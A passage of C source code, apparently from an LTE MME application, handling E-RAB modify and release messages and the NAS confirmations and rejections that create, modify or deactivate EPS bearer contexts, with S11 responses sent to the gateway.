OAILOG_ERROR( LOG_MME_APP, "No S11 Update Bearer process for UE with mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT " was found. Ignoring the message. \n", e_rab_modify_rsp->mme_ue_s1ap_id);
/** All ESM messages may have returned immediately negative and the UBResp might have been sent (removing the S11 session). */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Get the PDN context. */
mme_app_get_pdn_context(ue_context->mme_ue_s1ap_id, s11_proc_update_bearer->pci, s11_proc_update_bearer->linked_ebi, NULL, &pdn_context);
if(!pdn_context){
OAILOG_ERROR( LOG_MME_APP, "No PDN context (cid=%d,def_ebi=%d) could be found for UE " MME_UE_S1AP_ID_FMT ". Ignoring the message. \n",
s11_proc_update_bearer->pci, s11_proc_update_bearer->linked_ebi, e_rab_modify_rsp->mme_ue_s1ap_id);
/** All ESM messages may have returned immediately negative and the CBResp might have been sent (removing the S11 session). */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Handle the bearer contexts for multi-APN and dedicated bearer cases. */
for (int i = 0; i < e_rab_modify_rsp->e_rab_modify_list.no_of_items; i++) {
e_rab_id_t e_rab_id = e_rab_modify_rsp->e_rab_modify_list.item[i].e_rab_id;
bearer_context_t * bc_success = NULL;
bearer_context_to_be_updated_t * bc_tbu = NULL;
for(int num_bc = 0; num_bc < s11_proc_update_bearer->bcs_tbu->num_bearer_context; num_bc ++){
if(s11_proc_update_bearer->bcs_tbu->bearer_contexts[num_bc].eps_bearer_id == e_rab_id){
bc_tbu = &s11_proc_update_bearer->bcs_tbu->bearer_contexts[num_bc];
}
}
DevAssert(bc_tbu);
/*
* Modifications (QoS, TFT) on the bearer context itself will be done by the ESM layer.
* If UE accepts with success, but eNB does not, we may have a discrepancy.
*/
/** Check if the message needs to be processed (if it has already failed, in that case the number of unhandled bearers already will be reduced). */
if(bc_tbu->cause.cause_value != 0 && bc_tbu->cause.cause_value != REQUEST_ACCEPTED){
OAILOG_DEBUG (LOG_MME_APP, "The ebi %d has already a negative error cause %d for ueId : " MME_UE_S1AP_ID_FMT "\n", bc_tbu->eps_bearer_id, e_rab_modify_rsp->mme_ue_s1ap_id);
continue;
}
/** Cause is either not set or negative. It must be in the session bearers. */
bc_success = mme_app_get_session_bearer_context(pdn_context, e_rab_id);
DevAssert(bc_success);
/** If the ESM EBR context is active. */
if(bc_success->esm_ebr_context.status == ESM_EBR_ACTIVE){ /**< ESM session management messages completed successfully (transactions completed and no negative GTP cause). */
/** If 1 bearer is active, update the APN AMBR.*/
if(bc_tbu->cause.cause_value == 0){
OAILOG_DEBUG (LOG_MME_APP, "The cause is not set as accepted for ebi %d for ueId although NAS is accepted (not reducing num pending bearers yet): " MME_UE_S1AP_ID_FMT "\n", bc_tbu->eps_bearer_id, e_rab_modify_rsp->mme_ue_s1ap_id);
/** Setting it as accepted such that we don't wait for the E-RAB which arrived. */
bc_tbu->cause.cause_value = REQUEST_ACCEPTED;
} else{
DevAssert(bc_tbu->cause.cause_value == REQUEST_ACCEPTED);
/** Reduce the number of unhandled bearers. */
s11_proc_update_bearer->num_bearers_unhandled--;
}
}else{
/**
* Not reducing the number of unhandled bearers. We will check this cause later when NAS response arrives.
* We will not trigger a UBResp with this.
*/
bc_tbu->cause.cause_value = REQUEST_ACCEPTED;
}
}
/** Iterate through the failed bearers. */
for (int i = 0; i < e_rab_modify_rsp->e_rab_failed_to_modify_list.no_of_items; i++) {
e_rab_id_t e_rab_id = e_rab_modify_rsp->e_rab_failed_to_modify_list.item[i].e_rab_id;
bearer_context_t * bc_failed = NULL;
bearer_context_to_be_updated_t * bc_tbu = NULL;
for(int num_bc = 0; num_bc < s11_proc_update_bearer->bcs_tbu->num_bearer_context; num_bc ++){
if(s11_proc_update_bearer->bcs_tbu->bearer_contexts[num_bc].eps_bearer_id == e_rab_id){
bc_tbu = &s11_proc_update_bearer->bcs_tbu->bearer_contexts[num_bc];
}
}
DevAssert(bc_tbu);
/** Check if there is already a negative result. */
if(bc_tbu->cause.cause_value != 0 && bc_tbu->cause.cause_value != REQUEST_ACCEPTED){
OAILOG_DEBUG (LOG_MME_APP, "The ebi %d has already a negative error cause %d for ueId : " MME_UE_S1AP_ID_FMT "\n", bc_tbu->eps_bearer_id, e_rab_modify_rsp->mme_ue_s1ap_id);
/** The number of negative values should already be decreased. */
continue;
}
/** The cause is either not set yet or positive. In either case we will reduce the number of unhandled bearers. */
s11_proc_update_bearer->num_bearers_unhandled--;
/** Check the result code, and inform the ESM layer of removal, if necessary.. */
if((e_rab_modify_rsp->e_rab_failed_to_modify_list.item[i].cause.present == S1ap_Cause_PR_radioNetwork)
&& (e_rab_modify_rsp->e_rab_failed_to_modify_list.item[i].cause.choice.radioNetwork == S1ap_CauseRadioNetwork_unknown_E_RAB_ID)){
/** No EBI was found. Check if a session bearer exist, if so trigger implicit removal by setting correct cause. */
bc_tbu->cause.cause_value = NO_RESOURCES_AVAILABLE;
/** Bearer was implicitly removed in the access network. */
mme_app_release_bearer_context(e_rab_modify_rsp->mme_ue_s1ap_id, &pdn_context->context_identifier, s11_proc_update_bearer->linked_ebi, e_rab_id);
}else{
/** Set cause as rejected. */
bc_tbu->cause.cause_value = REQUEST_REJECTED;
/** No need to inform the ESM layer. */
mme_app_finalize_bearer_context(e_rab_modify_rsp->mme_ue_s1ap_id, pdn_context->context_identifier, s11_proc_update_bearer->linked_ebi, e_rab_id, NULL, NULL, NULL, NULL);
}
/* Release the ESM procedure, the received NAS message should be rejected. */
nas_esm_proc_bearer_context_t *esm_proc_bearer_context = mme_app_nas_esm_get_bearer_context_procedure(e_rab_modify_rsp->mme_ue_s1ap_id, PROCEDURE_TRANSACTION_IDENTITY_UNASSIGNED,
bc_tbu->eps_bearer_id);
if(esm_proc_bearer_context){
/* Finalize the bearer context and terminate the ESM procedure. The response should not be regarded. */
mme_app_nas_esm_delete_bearer_context_proc(&esm_proc_bearer_context);
OAILOG_DEBUG (LOG_MME_APP, "Freed the NAS ESM procedure for bearer activation (ebi=%d) for ueId : " MME_UE_S1AP_ID_FMT "\n", bc_tbu->eps_bearer_id, e_rab_modify_rsp->mme_ue_s1ap_id);
}
}
// todo: MBReq/MBResp for E-RAB modify?
if(s11_proc_update_bearer->num_bearers_unhandled){
OAILOG_DEBUG (LOG_MME_APP, "For the S11 dedicated bearer procedure, still %d pending bearers exist for UE " MME_UE_S1AP_ID_FMT ". "
"Waiting with UBResp. \n", s11_proc_update_bearer->num_bearers_unhandled, ue_context->mme_ue_s1ap_id);
}else{
OAILOG_DEBUG (LOG_MME_APP, "For the S11 dedicated bearer procedure, no pending bearers left (either success or failure) for UE " MME_UE_S1AP_ID_FMT ". "
"Sending UBResp immediately. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_update_bearer_rsp(ue_context, 0, s11_proc_update_bearer->proc.s11_trxn, s11_proc_update_bearer->bcs_tbu);
/*
* We update the ESM bearer context when the NAS ESM confirmation arrives.
* We don't care for the E-RAB message.
*/
mme_app_delete_s11_procedure_update_bearer(ue_context);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_handle_e_rab_release_ind (const itti_s1ap_e_rab_release_ind_t * const e_rab_release_ind) {
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
struct pdn_context_s *pdn_context = NULL;
ebi_list_t ebi_list;
MessageDef *message_p = NULL;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, e_rab_release_ind->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", e_rab_release_ind->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** The bearers here are sorted. */
RB_FOREACH (pdn_context, PdnContexts, &ue_context->pdn_contexts) {
DevAssert(pdn_context);
if(e_rab_release_ind->e_rab_release_list.erab_bitmap & (0x01 << (pdn_context->default_ebi -1))){
OAILOG_WARNING(LOG_MME_APP, "Default bearer (ebi=%d) for PDN \"%s\" cannot be released via E-RAB release indication for UE: " MME_UE_S1AP_ID_FMT " and enbUeS1apId " ENB_UE_S1AP_ID_FMT". "
"Triggering UE context release. \n", pdn_context->default_ebi, bdata(pdn_context->apn_subscribed), e_rab_release_ind->mme_ue_s1ap_id, e_rab_release_ind->enb_ue_s1ap_id);
/** Trigger an implicit detach. */
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = ue_context->mme_ue_s1ap_id;
message_p->ittiMsg.nas_implicit_detach_ue_ind.emm_cause = EMM_CAUSE_NETWORK_FAILURE;
message_p->ittiMsg.nas_implicit_detach_ue_ind.detach_type = 0x02; // Re-Attach Not required;
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_IMPLICIT_DETACH_UE_IND_MESSAGE");
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
/** If the list contains a default bearer, force idle mode. */
memset(&ebi_list, 0, sizeof(ebi_list_t));
/** Check the status of the bearers. If they are active & ENB_CREATED, trigger a Delete Bearer Command message. Else ignore. */
mme_app_release_bearers(e_rab_release_ind->mme_ue_s1ap_id, &e_rab_release_ind->e_rab_release_list, &ebi_list);
if(ebi_list.num_ebi){
pdn_context = RB_MIN(PdnContexts, &ue_context->pdn_contexts);
if(pdn_context){
/** Trigger a Delete Bearer Command. */
mme_app_send_s11_delete_bearer_cmd(ue_context->mme_teid_s11, pdn_context->s_gw_teid_s11_s4, &pdn_context->s_gw_address_s11_s4.address.ipv4_address, &ebi_list);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
OAILOG_WARNING (LOG_MME_APP, "Nothing triggered from released e_rab indication for UE: " MME_UE_S1AP_ID_FMT "\n", e_rab_release_ind->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_handle_activate_eps_bearer_ctx_cnf (itti_nas_activate_eps_bearer_ctx_cnf_t * const activate_eps_bearer_ctx_cnf)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
struct pdn_context_s *pdn_context = NULL;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, activate_eps_bearer_ctx_cnf->ue_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", activate_eps_bearer_ctx_cnf->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* TS 23.401: 5.4.1: The MME shall be prepared to receive this message either before or after the Session Management Response message (sent in step 9).
*
* The itti message will be sent directly by MME APP or by ESM layer, depending on the order of the messages.
*
* So we check the state of the bearers.
* The indication that S11 Create Bearer Response should be sent to the SAE-GW, should be sent by ESM/NAS layer.
*/
mme_app_s11_proc_create_bearer_t * s11_proc_create_bearer = mme_app_get_s11_procedure_create_bearer(ue_context);
if(!s11_proc_create_bearer){
/** Assuming all EBIs failed by eNB. */
OAILOG_ERROR(LOG_MME_APP, "No S11 CBR procedure exists for UE: " MME_UE_S1AP_ID_FMT ". Not sending CBResp back. \n",
ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Get the PDN context. */
mme_app_get_pdn_context(ue_context->mme_ue_s1ap_id, s11_proc_create_bearer->pci, s11_proc_create_bearer->linked_ebi, NULL, &pdn_context);
if (!pdn_context) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find the pdn context with cid %d and default ebi %d for UE: " MME_UE_S1AP_ID_FMT "\n",
s11_proc_create_bearer->pci, s11_proc_create_bearer->linked_ebi, activate_eps_bearer_ctx_cnf->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Get the bearer context in question. */
bearer_context_to_be_created_t * bc_tbc = NULL;
for(int num_bc = 0; num_bc < s11_proc_create_bearer->bcs_tbc->num_bearer_context; num_bc++){
if(s11_proc_create_bearer->bcs_tbc->bearer_contexts[num_bc].s1u_sgw_fteid.teid == activate_eps_bearer_ctx_cnf->saegw_s1u_teid){
bc_tbc = &s11_proc_create_bearer->bcs_tbc->bearer_contexts[num_bc];
}
}
DevAssert(bc_tbc);
/** Update the pending bearer contexts in the answer. */
// todo: here a minimal lock may be ok (for the cause setting - like atomic boolean)
if(bc_tbc->cause.cause_value == 0){
/** No response received yet from E-RAB. Will just set it as SUCCESS, but not trigger an CBResp. */
OAILOG_INFO(LOG_MME_APP, "Received NAS response before E-RAB setup response for ebi %d for UE: " MME_UE_S1AP_ID_FMT ". "
"Not triggering a CBResp. \n", activate_eps_bearer_ctx_cnf->ebi, ue_context->mme_ue_s1ap_id);
bc_tbc->cause.cause_value = REQUEST_ACCEPTED;
OAILOG_FUNC_OUT (LOG_MME_APP);
}else if (bc_tbc->cause.cause_value != REQUEST_ACCEPTED) {
OAILOG_INFO(LOG_MME_APP, "Received NAS response after E-RAB reject for ebi %d for UE: " MME_UE_S1AP_ID_FMT ". "
"Not reducing number of unhandled bearers (assuming already done). \n", activate_eps_bearer_ctx_cnf->ebi, ue_context->mme_ue_s1ap_id);
/*
* E-RAB Reject will be send as an ITTI message to the NAS layer, removing the bearer.
* No lock is needed.
*/
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "Received NAS response after E-RAB setup success for ebi %d for UE: " MME_UE_S1AP_ID_FMT ". "
"Will reduce number of unhandled bearers and eventually triggering a CBResp. \n", activate_eps_bearer_ctx_cnf->ebi, ue_context->mme_ue_s1ap_id);
s11_proc_create_bearer->num_bearers_unhandled--;
bc_tbc->eps_bearer_id = activate_eps_bearer_ctx_cnf->ebi;
if(s11_proc_create_bearer->num_bearers_unhandled){
OAILOG_INFO(LOG_MME_APP, "Still %d unhandled bearers exist for CBR for UE: " MME_UE_S1AP_ID_FMT ". Not sending CBResp back yet. \n",
s11_proc_create_bearer->num_bearers_unhandled, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "No unhandled bearers left for s11 CBR procedure for UE: " MME_UE_S1AP_ID_FMT ". "
"Sending CBResp back immediately. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_create_bearer_rsp(ue_context, s11_proc_create_bearer->proc.s11_trxn, 0, s11_proc_create_bearer->bcs_tbc);
/** Delete the procedure if it exists. */
mme_app_delete_s11_procedure_create_bearer(ue_context);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_handle_activate_eps_bearer_ctx_rej (itti_nas_activate_eps_bearer_ctx_rej_t * const activate_eps_bearer_ctx_rej)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
/** Get the first PDN Context. */
pdn_context_t *pdn_context = NULL;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, activate_eps_bearer_ctx_rej->ue_id);
if (!ue_context) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", activate_eps_bearer_ctx_rej->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
DevAssert(activate_eps_bearer_ctx_rej->cause_value != REQUEST_ACCEPTED);
/** Get the MME_APP Dedicated Bearer procedure, */
mme_app_s11_proc_create_bearer_t * s11_proc_create_bearer = mme_app_get_s11_procedure_create_bearer(ue_context);
if(!s11_proc_create_bearer){
OAILOG_ERROR(LOG_MME_APP, "No S11 dedicated bearer procedure exists for UE: " MME_UE_S1AP_ID_FMT ". Not sending CBResp back. \n", ue_context->mme_ue_s1ap_id);
/** Assuming all E-RAB failures came first. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
mme_app_get_pdn_context(ue_context->mme_ue_s1ap_id, s11_proc_create_bearer->pci, s11_proc_create_bearer->linked_ebi, NULL, &pdn_context);
if (!pdn_context) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find the pdn context with cid %d and default ebi %d for UE: " MME_UE_S1AP_ID_FMT "\n",
s11_proc_create_bearer->pci, s11_proc_create_bearer->linked_ebi, activate_eps_bearer_ctx_rej->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/**
* TS 23.401: 5.4.1: The MME shall be prepared to receive this message either before or after the Session Management Response message (sent in step 9).
*
* The itti message will be sent directly by MME APP or by ESM layer, depending on the order of the messages.
*
* So we check the state of the bearers.
* The indication that S11 Create Bearer Response should be sent to the SAE-GW, should be sent by ESM/NAS layer.
*
* No locks should be needed for this.
*/
bearer_context_to_be_created_t * bc_tbc = NULL;
for(int num_bc = 0; num_bc < s11_proc_create_bearer->bcs_tbc->num_bearer_context; num_bc++ ){
if(s11_proc_create_bearer->bcs_tbc->bearer_contexts[num_bc].s1u_sgw_fteid.teid == activate_eps_bearer_ctx_rej->saegw_s1u_teid){
bc_tbc = &s11_proc_create_bearer->bcs_tbc->bearer_contexts[num_bc];
}
}
DevAssert(bc_tbc);
/** The bearer is assumed to be removed from the session bearers by the ESM layer. */
if (bc_tbc->cause.cause_value != 0 && bc_tbc->cause.cause_value != REQUEST_ACCEPTED) {
OAILOG_INFO(LOG_MME_APP, "Received NAS reject after E-RAB activation reject for ebi %d occurred for UE: " MME_UE_S1AP_ID_FMT ". Not reducing number of unhandled bearers (assuming already done). \n",
bc_tbc->eps_bearer_id, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** No response received yet from E-RAB or positive response. Will just set it as SUCCESS, but not trigger an cBResp. */
OAILOG_INFO(LOG_MME_APP, "Received NAS reject before E-RAB activation response, or after positive E-RAB response for UE: " MME_UE_S1AP_ID_FMT ". Reducing number of unhandled bearers. \n", ue_context->mme_ue_s1ap_id);
/** If we received a positive response, remove the bearer. */
if(bc_tbc->cause.cause_value == REQUEST_ACCEPTED){
OAILOG_INFO(LOG_MME_APP, "Received NAS reject after successful E-RAB activation responsefor UE: " MME_UE_S1AP_ID_FMT ". "
"Removing the bearer in the RAT. \n", ue_context->mme_ue_s1ap_id);
mme_app_handle_nas_erab_release_req(activate_eps_bearer_ctx_rej->ue_id, bc_tbc->eps_bearer_id, NULL);
}
bc_tbc->cause.cause_value = activate_eps_bearer_ctx_rej->cause_value ? activate_eps_bearer_ctx_rej->cause_value : REQUEST_REJECTED;
s11_proc_create_bearer->num_bearers_unhandled--;
if(s11_proc_create_bearer->num_bearers_unhandled){
OAILOG_INFO(LOG_MME_APP, "Still %d unhandled bearers exist for s11 create bearer procedure for UE: " MME_UE_S1AP_ID_FMT ". Not sending CBResp back yet. \n", s11_proc_create_bearer->num_bearers_unhandled, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "No unhandled bearers left for s11 create bearer procedure for UE: " MME_UE_S1AP_ID_FMT ". Sending CBResp back immediately. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_create_bearer_rsp(ue_context, s11_proc_create_bearer->proc.s11_trxn, 0, s11_proc_create_bearer->bcs_tbc);
/** Delete the procedure if it exists. No ESM procedure expected to be removed (should not exist here). */
mme_app_delete_s11_procedure_create_bearer(ue_context);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_handle_modify_eps_bearer_ctx_cnf (itti_nas_modify_eps_bearer_ctx_cnf_t * const modify_eps_bearer_ctx_cnf)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
struct pdn_context_s *pdn_context = NULL;
struct bearer_context_s *bearer_context = NULL;
MessageDef *message_p = NULL;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, modify_eps_bearer_ctx_cnf->ue_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", modify_eps_bearer_ctx_cnf->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* TS 23.401: 5.4.2: The MME shall be prepared to receive this message either before or after the Session Management Response message (sent in step 9).
*
* The itti message will be sent directly by MME APP or by ESM layer, depending on the order of the messages.
*
* So we check the state of the bearers.
* The indication that S11 Update Bearer Response should be sent to the SAE-GW, should be sent by ESM/NAS layer.
*/
mme_app_s11_proc_update_bearer_t * s11_proc_update_bearer = mme_app_get_s11_procedure_update_bearer(ue_context);
if(!s11_proc_update_bearer){
OAILOG_ERROR(LOG_MME_APP, "No S11 update bearer procedure exists for UE: " MME_UE_S1AP_ID_FMT ". Not sending UBResp back. \n",
ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Get the PDN context. */
mme_app_get_pdn_context(ue_context->mme_ue_s1ap_id, s11_proc_update_bearer->pci, s11_proc_update_bearer->linked_ebi, NULL, &pdn_context);
if (!pdn_context) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find the pdn context with cid %d and default ebi %d for UE: " MME_UE_S1AP_ID_FMT "\n",
s11_proc_update_bearer->pci, s11_proc_update_bearer->linked_ebi, modify_eps_bearer_ctx_cnf->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
bearer_context = mme_app_get_session_bearer_context(pdn_context, modify_eps_bearer_ctx_cnf->ebi);
if(!bearer_context){
OAILOG_ERROR(LOG_MME_APP, "Could not find the bearer context for ebi %d and UE: " MME_UE_S1AP_ID_FMT ". Disregarding positive ESM response. \n",
modify_eps_bearer_ctx_cnf->ebi, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Get the bearer context in question. */
bearer_context_to_be_updated_t * bc_tbu = NULL;
for(int num_bc = 0; num_bc < s11_proc_update_bearer->bcs_tbu->num_bearer_context; num_bc ++){
if(s11_proc_update_bearer->bcs_tbu->bearer_contexts[num_bc].eps_bearer_id == modify_eps_bearer_ctx_cnf->ebi){
bc_tbu = &s11_proc_update_bearer->bcs_tbu->bearer_contexts[num_bc];
}
}
DevAssert(bc_tbu);
/** Update the pending bearer contexts in the answer. */
if(bc_tbu->cause.cause_value == 0){
/** No response received yet from E-RAB. Will just set it as SUCCESS, but not trigger an UBResp. */
/** Check if a QoS informaiton was received. */
bc_tbu->cause.cause_value = REQUEST_ACCEPTED;
if(bc_tbu->bearer_level_qos) {
OAILOG_INFO(LOG_MME_APP, "Received NAS response before E-RAB modification response for (ebi=%d) occurred for UE: " MME_UE_S1AP_ID_FMT ". Not triggering a UBResp. \n",
bc_tbu->eps_bearer_id, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
} else {
// todo: nothing expected..
OAILOG_INFO(LOG_MME_APP, "No QoS information received for E-RAB modification (ebi=%d) occurred for UE: " MME_UE_S1AP_ID_FMT ". Continuing to handle it. \n",
bc_tbu->eps_bearer_id, ue_context->mme_ue_s1ap_id);
bc_tbu->cause.cause_value = REQUEST_ACCEPTED;
}
}else if (bc_tbu->cause.cause_value != REQUEST_ACCEPTED) {
OAILOG_INFO(LOG_MME_APP, "Received NAS response after E-RAB modification reject for ebi %d occurred for UE: " MME_UE_S1AP_ID_FMT ". Not reducing number of unhandled bearers (assuming already done). \n",
bc_tbu->eps_bearer_id, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "Received NAS response after positive E-RAB modification response for ebi %d occurred for UE: " MME_UE_S1AP_ID_FMT ". Will reduce number of unhandled bearers and eventually triggering a UBResp. \n",
bc_tbu->eps_bearer_id, ue_context->mme_ue_s1ap_id);
s11_proc_update_bearer->num_bearers_unhandled--;
if(s11_proc_update_bearer->num_bearers_unhandled){
OAILOG_INFO(LOG_MME_APP, "Still %d unhandled bearers exist for s11 update bearer procedure for UE: " MME_UE_S1AP_ID_FMT ". Not sending UBResp back yet. \n",
s11_proc_update_bearer->num_bearers_unhandled, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "No unhandled bearers left for s11 update bearer procedure for UE: " MME_UE_S1AP_ID_FMT ". Sending UBResp back immediately. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_update_bearer_rsp(ue_context, 0, s11_proc_update_bearer->proc.s11_trxn, s11_proc_update_bearer->bcs_tbu);
/*
* Delete the procedure if it exists.
* We don't need to inform the ESM layer.
*/
mme_app_delete_s11_procedure_update_bearer(ue_context);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_handle_modify_eps_bearer_ctx_rej (itti_nas_modify_eps_bearer_ctx_rej_t * const modify_eps_bearer_ctx_rej)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
pdn_context_t *pdn_context = NULL;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, modify_eps_bearer_ctx_rej->ue_id);
if (!ue_context) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", modify_eps_bearer_ctx_rej->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Get the MME_APP Update Bearer procedure. */
mme_app_s11_proc_update_bearer_t * s11_proc_update_bearer = mme_app_get_s11_procedure_update_bearer(ue_context);
if(!s11_proc_update_bearer){
OAILOG_ERROR(LOG_MME_APP, "No S11 update bearer procedure exists for UE: " MME_UE_S1AP_ID_FMT ". Not sending UBResp back. \n",
ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* TS 23.401: 5.4.2: The MME shall be prepared to receive this message either before or after the Session Management Response message (sent in step 9).
*
* The itti message will be sent directly by MME APP or by ESM layer, depending on the order of the messages.
*
* So we check the state of the bearers.
* The indication that S11 Update Bearer Response should be sent to the SAE-GW, should be sent by ESM/NAS layer.
*/
/** Get the PDN context. */
mme_app_get_pdn_context(ue_context->mme_ue_s1ap_id, s11_proc_update_bearer->pci, s11_proc_update_bearer->linked_ebi, NULL, &pdn_context);
if (!pdn_context) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find the pdn context with cid %d and default ebi %d for UE: " MME_UE_S1AP_ID_FMT "\n",
s11_proc_update_bearer->pci, s11_proc_update_bearer->linked_ebi, modify_eps_bearer_ctx_rej->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Assert that the bearer context is already removed. */
bearer_context_to_be_updated_t * bc_tbu = NULL;
for(int num_bc = 0; num_bc < s11_proc_update_bearer->bcs_tbu->num_bearer_context; num_bc++ ){
if(s11_proc_update_bearer->bcs_tbu->bearer_contexts[num_bc].eps_bearer_id == modify_eps_bearer_ctx_rej->ebi){
bc_tbu = &s11_proc_update_bearer->bcs_tbu->bearer_contexts[num_bc];
}
}
DevAssert(bc_tbu);
/** Update the pending bearer contexts in the answer. */
if (bc_tbu->cause.cause_value != 0 && bc_tbu->cause.cause_value != REQUEST_ACCEPTED) {
OAILOG_INFO(LOG_MME_APP, "Received NAS reject after E-RAB modification reject for ebi %d occurred for UE: " MME_UE_S1AP_ID_FMT ". Not reducing number of unhandled bearers (assuming already done). \n",
bc_tbu->eps_bearer_id, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** No response received yet from E-RAB. Will just set it as SUCCESS, but not trigger an UBResp. */
OAILOG_INFO(LOG_MME_APP, "Received NAS reject before E-RAB modification response, or after positive E-RAB response for ebi %d for UE: " MME_UE_S1AP_ID_FMT ". Reducing number of unhandled bearers. \n",
bc_tbu->eps_bearer_id, ue_context->mme_ue_s1ap_id);
bc_tbu->cause.cause_value = modify_eps_bearer_ctx_rej->cause_value ? modify_eps_bearer_ctx_rej->cause_value : REQUEST_REJECTED;
s11_proc_update_bearer->num_bearers_unhandled--;
if(s11_proc_update_bearer->num_bearers_unhandled){
OAILOG_INFO(LOG_MME_APP, "Still %d unhandled bearers exist for s11 update bearer procedure for UE: " MME_UE_S1AP_ID_FMT ". Not sending UBResp back yet. \n",
s11_proc_update_bearer->num_bearers_unhandled, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "No unhandled bearers left for s11 update bearer procedure for UE: " MME_UE_S1AP_ID_FMT ". Sending UBResp back immediately. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_update_bearer_rsp(ue_context, 0, s11_proc_update_bearer->proc.s11_trxn, s11_proc_update_bearer->bcs_tbu);
/** Delete the procedure if it exists. */
mme_app_delete_s11_procedure_update_bearer(ue_context);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void mme_app_handle_deactivate_eps_bearer_ctx_cnf (itti_nas_deactivate_eps_bearer_ctx_cnf_t * const deactivate_eps_bearer_ctx_cnf)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, deactivate_eps_bearer_ctx_cnf->ue_id);
if (ue_context == NULL) {
